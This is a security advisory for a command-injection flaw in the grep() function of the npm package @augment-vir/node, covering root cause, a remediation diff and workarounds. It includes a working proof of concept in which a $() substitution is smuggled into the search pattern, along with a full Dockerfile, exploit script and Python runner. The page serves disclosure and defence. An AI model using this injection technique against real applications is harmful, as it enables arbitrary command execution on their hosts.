CVE-2026-63496 is a high-severity (CVSS 7.8) OS Command Injection vulnerability in @augment-vir/node. A fix is available for @augment-vir/node — see the affected versions and patch details below.
augment-vir: Shell Command Injection in `grep()` via Unsanitized `searchPattern`
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-63496.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
@augment-vir/nodeReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.
Description
Shell Command Injection in grep() via Unsanitized searchPattern
Summary
The grep() function exported by @augment-vir/node inserts caller-controlled search patterns directly into a double-quoted shell command string without sanitization (grep.ts:310). When the constructed command is passed to spawn() with shell: 'bash' (shell.ts:98-99), bash evaluates $() command substitution expressions embedded in the pattern, resulting in arbitrary OS command execution as the Node.js process user. Any downstream application that passes untrusted input to grep()'s pattern or patterns field is vulnerable to unauthenticated local (and potentially remote) code execution. CVSS Base Score: 7.8 (High).
Details
Root cause: packages/node/src/augments/fs/grep.ts:310 maps each search pattern into the shell fragment -e "${searchPattern}" with no sanitization:
// grep.ts:310
...searchPatterns.map((searchPattern) => `-e "${searchPattern}"`),
The resulting full command string is forwarded to runShellCommand (grep.ts:320), which calls streamShellCommand (shell.ts:221-224), which ultimately calls:
// shell.ts:98-99
const childProcess = spawn(command, {
shell, // defaults to 'bash' (shell.ts:92)
Because shell is 'bash', bash interprets $() within the double-quoted pattern as a command substitution and executes it before grep ever runs.
Incomplete sanitization: An escape() helper exists at grep.ts:178-180 but only replaces " with \" and removes newlines. It is applied to excludePatterns, excludeDirs, and includeFiles (grep.ts:297-308) but not to searchPatterns. Even if it were applied, double-quote escaping does not prevent $() or backtick substitution inside bash double-quote contexts.
Data flow (source → sink):
| Step | Location | Description |
|---|---|---|
| 1 | packages/node/src/index.ts:3 | export * from './augments/fs/grep.js' — exposes grep() as a public npm API |
| 2 | packages/node/src/augments/fs/grep.ts:223-226 | grep() accepts caller-controlled grepSearchPattern and grepSearchLocation |
| 3 | packages/node/src/augments/fs/grep.ts:228 | searchPatterns derived from grepSearchPattern.patterns || [grepSearchPattern.pattern] |
| 4 | packages/node/src/augments/fs/grep.ts:269-314 | fullCommand built as a plain shell string |
| 5 | packages/node/src/augments/fs/grep.ts:310 | Sink: searchPattern inserted as `-e "${searchPattern}"` — no escaping applied |
| 6 | packages/node/src/augments/fs/grep.ts:320 | fullCommand passed to runShellCommand |
| 7 | packages/node/src/augments/terminal/shell.ts:221-224 | Forwarded to streamShellCommand |
| 8 | packages/node/src/augments/terminal/shell.ts:98-99 | spawn(command, { shell: 'bash' }) executes the constructed command string |
Suggested remediation:
--- a/packages/node/src/augments/fs/grep.ts
+++ b/packages/node/src/augments/fs/grep.ts
@@
-function escape(input: string) {
- return input.replaceAll('"', String.raw`\"`).replaceAll('\n', '');
+function shellQuote(input: string) {
+ return `'${input.replaceAll("'", String.raw`'\''`).replaceAll('\n', '')}'`;
}
@@
- ...searchPatterns.map((searchPattern) => `-e "${searchPattern}"`),
+ ...searchPatterns.map((searchPattern) => `-e ${shellQuote(searchPattern)}`),
+ '--',
...searchParts,
Alternatively, replace the shell-string approach with spawn('grep', args, { shell: false }) to avoid shell interpretation entirely.
PoC
Prerequisites: Docker installed on the host. All steps run locally inside a container — no network exposure, no real credentials, no DoS.
Step 1 — Build the Docker image:
docker build -t augment-vir-vuln-001-poc \
vuln-001
Step 2 — Run the exploit container:
docker run --rm --name augment-vir-vuln-001-run augment-vir-vuln-001-poc
Core exploit (exploit.mjs inside the container):
import { grep } from '@augment-vir/node';
await grep(
{ pattern: '$(touch /tmp/augment-vir-poc-triggered)no-match' },
{ file: 'package.json' },
);
The $() shell substitution in the pattern causes bash to execute touch /tmp/augment-vir-poc-triggered before grep runs. The sentinel file is created even though the grep pattern itself matches nothing in package.json.
Expected output:
[*] Calling grep() with injected $() command substitution pattern...
[*] Pattern: $(touch /tmp/augment-vir-poc-triggered)no-match
=== VULNERABLE ===
[+] COMMAND INJECTION CONFIRMED: sentinel file exists at /tmp/augment-vir-poc-triggered
[+] The $() substitution in pattern was executed by bash via spawn({shell:"bash"})
Minimal reproduction without Docker:
mkdir /tmp/av-grep-poc && cd /tmp/av-grep-poc
npm init -y
npm install @augment-vir/[email protected]
cat > poc.mjs <<'EOF'
import { grep } from '@augment-vir/node';
await grep(
{ pattern: '$(touch /tmp/augment-vir-grep-poc)no-match' },
{ file: 'package.json' },
);
EOF
rm -f /tmp/augment-vir-grep-poc
node poc.mjs
test -f /tmp/augment-vir-grep-poc && echo VULNERABLE
Verification: Both Phase 1 static analysis and Phase 2 dynamic reproduction confirmed the vulnerability. VULNERABLE and COMMAND INJECTION CONFIRMED were observed in stdout; the sentinel file /tmp/augment-vir-poc-triggered was created inside the Docker container.
Impact
This is an OS Command Injection (CWE-78) vulnerability. Any application that calls @augment-vir/node's grep() with user-controlled input in the pattern or patterns field is vulnerable to arbitrary command execution under the Node.js process's user account.
- Confidentiality — High: An attacker can read arbitrary files accessible to the process.
- Integrity — High: An attacker can write or delete files, install malware, or modify application data.
- Availability — High: An attacker can terminate processes or exhaust system resources.
The attack vector is classified as Local (the attacker must control the value passed to pattern at the library API level). In practice the severity escalates to Network-reachable if a web service or API maps any user-supplied string to the grep() pattern parameter. No authentication or special privileges are required; the function is exported from the package's main entry point and is enabled by default.
Reproduction artifacts
Dockerfile
FROM node:22-slim
# Install grep (required by @augment-vir/node's grep() implementation)
RUN apt-get update -qq && apt-get install -y --no-install-recommends grep && rm -rf /var/lib/apt/lists/*
WORKDIR /poc
# Initialize npm project and install the vulnerable package version
RUN npm init -y && \
npm install @augment-vir/[email protected] --save 2>&1 | tail -5
# Create the exploit script that demonstrates command injection via grep()
# The pattern '$(touch /tmp/augment-vir-poc-triggered)no-match' is injected
# into the shell command string without sanitization, causing $() substitution
# to execute 'touch /tmp/augment-vir-poc-triggered' under bash.
RUN cat > /poc/exploit.mjs << 'EOF'
import { grep } from '@augment-vir/node';
import { existsSync } from 'node:fs';
const SENTINEL_FILE = '/tmp/augment-vir-poc-triggered';
// Remove sentinel file if it exists from a previous run
import { rmSync } from 'node:fs';
try { rmSync(SENTINEL_FILE); } catch {}
console.log('[*] Calling grep() with injected $() command substitution pattern...');
console.log('[*] Pattern: $(touch /tmp/augment-vir-poc-triggered)no-match');
try {
await grep(
{ pattern: '$(touch /tmp/augment-vir-poc-triggered)no-match' },
{ file: 'package.json' },
);
} catch (err) {
// grep() may throw due to no matches — that is expected and irrelevant
console.log('[*] grep() threw (expected when no matches):', err?.message ?? err);
}
if (existsSync(SENTINEL_FILE)) {
console.log('');
console.log('=== VULNERABLE ===');
console.log('[+] COMMAND INJECTION CONFIRMED: sentinel file exists at', SENTINEL_FILE);
console.log('[+] The $() substitution in pattern was executed by bash via spawn({shell:"bash"})');
process.exit(0);
} else {
console.log('');
console.log('=== NOT EXPLOITED ===');
console.log('[-] Sentinel file was NOT created — injection did not fire.');
process.exit(1);
}
EOF
CMD ["node", "/poc/exploit.mjs"]
poc.py
#!/usr/bin/env python3
"""
PoC for VULN-001: Shell Command Injection in @augment-vir/node grep()
CWE-78 — OS Command Injection
Affected version: @augment-vir/[email protected]
Root cause:
packages/node/src/augments/fs/grep.ts:310 constructs a shell command string
using unsanitized caller-supplied searchPattern inside double quotes:
...searchPatterns.map((searchPattern) => `-e "${searchPattern}"`)
This command string is passed to spawn(command, { shell: 'bash' }), meaning
$() command substitution in the pattern is executed by bash.
Safe usage: This PoC runs entirely inside a local Docker container.
No external network attacks, no real credentials, no DoS.
"""
import subprocess
import sys
import os
import json
IMAGE_NAME = "augment-vir-vuln-001-poc"
CONTAINER_NAME = "augment-vir-vuln-001-run"
DOCKERFILE_DIR = os.path.dirname(os.path.abspath(__file__))
BUILD_CMD = f"docker build -t {IMAGE_NAME} {DOCKERFILE_DIR}"
RUN_CMD = f"docker run --rm --name {CONTAINER_NAME} {IMAGE_NAME}"
def run(cmd, **kwargs):
"""Run a shell command and return CompletedProcess."""
print(f"[cmd] {cmd}")
return subprocess.run(cmd, shell=True, capture_output=True, text=True, **kwargs)
def main():
print("=" * 60)
print("VULN-001 PoC: Shell Command Injection in grep()")
print("Package: @augment-vir/[email protected]")
print("=" * 60)
# Step 1: Build Docker image
print("\n[*] Building Docker image...")
build_result = run(BUILD_CMD, timeout=300)
if build_result.returncode != 0:
print("[!] Docker build FAILED")
print(build_result.stdout[-2000:] if build_result.stdout else "")
print(build_result.stderr[-2000:] if build_result.stderr else "")
write_result(
passed=False,
verdict="FAIL",
reason="Docker 빌드 실패 — npm install 또는 네트워크 오류",
evidence=build_result.stderr[-1000:],
)
sys.exit(1)
print("[+] Docker image built successfully")
# Step 2: Run exploit container
print("\n[*] Running exploit container...")
run_result = run(RUN_CMD, timeout=120)
combined_output = run_result.stdout + run_result.stderr
print(combined_output)
# Step 3: Evaluate result
vulnerable = "VULNERABLE" in combined_output and "COMMAND INJECTION CONFIRMED" in combined_output
if vulnerable:
print("\n[+] PASS — Command injection confirmed inside Docker container")
print("[+] The $() substitution in grep() pattern was executed by bash")
write_result(
passed=True,
verdict="PASS",
reason=(
"Docker 컨테이너 내에서 grep() 패턴에 포함된 $() 명령 치환이 bash에 의해 실행되었음을 확인. "
"sentinel 파일 /tmp/augment-vir-poc-triggered가 생성되었으며 stdout에서 'VULNERABLE' 및 "
"'COMMAND INJECTION CONFIRMED' 문자열이 관측됨."
),
evidence=combined_output.strip()[-1500:],
)
sys.exit(0)
else:
print("\n[-] FAIL — exploit did not produce expected output")
write_result(
passed=False,
verdict="FAIL",
reason=(
"컨테이너 stdout에서 'VULNERABLE' 또는 'COMMAND INJECTION CONFIRMED'가 관측되지 않음. "
"sentinel 파일이 생성되지 않았거나 grep() 동작이 예상과 다를 수 있음."
),
evidence=combined_output.strip()[-1500:],
)
sys.exit(1)
def write_result(passed, verdict, reason, evidence):
result = {
"passed": passed,
"verdict": verdict,
"reason": reason,
"build_command": BUILD_CMD,
"run_command": RUN_CMD,
"poc_command": f"python3 {os.path.abspath(__file__)}",
"evidence": evidence,
"artifacts": ["Dockerfile", "poc.py"],
}
out_path = os.path.join(DOCKERFILE_DIR, "phase2_result.json")
with open(out_path, "w", encoding="utf-8") as f:
json.dump(result, f, ensure_ascii=False, indent=2)
print(f"\n[*] Result written to {out_path}")
if __name__ == "__main__":
main()
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @augment-vir/node | all versions | 31.73.5npm install @augment-vir/node@31.73.5 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @augment-vir/node, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update @augment-vir/node to 31.73.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-63496 is resolved across your whole dependency graph.
Workarounds
Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.
Frequently Asked Questions
Is CVE-2026-63496 in your dependencies?
Find it across npm, including transitive dependencies.